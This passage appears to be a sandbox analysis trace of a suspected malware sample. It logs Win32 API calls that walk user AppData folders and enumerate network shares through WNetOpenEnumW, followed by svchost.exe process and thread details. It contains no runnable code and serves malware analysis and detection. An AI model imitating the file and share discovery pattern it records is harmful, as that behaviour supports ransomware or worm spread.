returned="Dictionaries\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.808] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.808] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.808] PathFindFileNameW (pszPath="") returned="" [0273.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.808] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.808] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.809] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.809] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.809] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.809] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.809] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.809] PathFindFileNameW (pszPath="") returned="" [0273.809] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.810] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.810] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.810] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.810] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.810] SendMessageW (hWnd=0x200a4, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 219 os_tid = 0x724 [0264.373] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x397fee0 | out: lphEnum=0x397fee0*=0x3091520) returned 0x0 [0266.143] WNetEnumResourceW (in: hEnum=0x3091520, lpcCount=0x397fedc, lpBuffer=0x31116e8, lpBufferSize=0x397fed8 | out: lpcCount=0x397fedc, lpBuffer=0x31116e8, lpBufferSize=0x397fed8) returned 0x0 [0266.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30816d8 [0266.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081768 [0266.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082558 [0266.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30817b0 [0266.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30817f8 [0266.143] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x31116e8, lphEnum=0x397fe28 | out: lphEnum=0x397fe28*=0x6eaaf0) returned 0x0 [0266.541] WNetEnumResourceW (in: hEnum=0x6eaaf0, lpcCount=0x397fe24, lpBuffer=0x31176f0, lpBufferSize=0x397fe20 | out: lpcCount=0x397fe24, lpBuffer=0x31176f0, lpBufferSize=0x397fe20) returned 0x103 [0266.541] WNetCloseEnum (hEnum=0x6eaaf0) returned 0x0 [0266.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081768 | out: hHeap=0x640000) returned 1 [0266.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30816d8 | out: hHeap=0x640000) returned 1 [0266.542] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30816d8 [0266.542] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081768 [0266.542] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe0) returned 0x3073b38 [0266.542] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081330 [0266.542] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081690 [0266.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30817f8 | out: hHeap=0x640000) returned 1 [0266.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30817b0 | out: hHeap=0x640000) returned 1 [0266.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082558 | out: hHeap=0x640000) returned 1 [0266.542] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30817b0 [0266.542] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30817f8 [0266.542] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3111708, lphEnum=0x397fe28) Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1d924000" os_pid = "0x328" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x7ec" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bb6b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 174 os_tid = 0x620 Thread: id = 175 os_tid = 0x640 Thread: id = 176 os_tid = 0x704 Thread: id = 177 os_tid = 0x6f0 Thread: id = 178 os_tid = 0x6e8 Thread: id = 179 os_tid = 0x6dc Thread: id = 180 os_tid = 0x6d8 Thread: id = 181 os_tid = 0x6bc Thread: id = 182 os_tid = 0x6ac Thread: id = 183 os_tid = 0x698 Thread: id = 184 os_tid = 0x694 Thread: id = 185 os_tid = 0x674 Thread: id = 186 os_tid = 0x63c Thread: id = 187 os_tid = 0x62c Thread: id = 188 os_tid = 0x5d8 Thread: id = 189 os_tid = 0x5c8 Thread: id = 190 os_tid = 0x5ac Thread: id = 191 os_tid = 0x5a4 Thread: id = 192 os_tid = 0x5a0 Thread: id = 193 os_tid = 0x598 Thread: id = 194 os_tid = 0x544 Thread: id = 195 os_tid = 0x530 Thread: id = 196 os_tid = 0x4f0 Thread: id = 197 os_tid = 0x4e8 Thread: id = 198 os_tid = 0x478 Thread: id = 199 os_tid = 0x410 Thread: id = 200 os_tid = 0x24c Thread: id = 201 os_tid = 0x3dc Thread: id = 202 os_tid = 0x3f4 Thread: id = 203 os_tid = 0x39c Thread: id = 204 os_tid = 0x370 Thread: id = 205 os_tid = 0x218 Thread: id = 206 os_tid = 0x21c Thread: id = 207 os_tid = 0x3ec Thread: id = 208 os_tid = 0x3c4 Thread: id = 209 os_tid = 0x3a4 Thread: id = 210 os_tid = 0x3a0 Thread: id = 211 os_tid = 0x348 Thread: id = 212 os_tid = 0x33c Thread: id = 213 os_tid = 0x338 Thread: id = 214 os_tid = 0x334 Thread: id = 215 os_tid = 0x330 Thread: id = 216 os_tid = 0x32c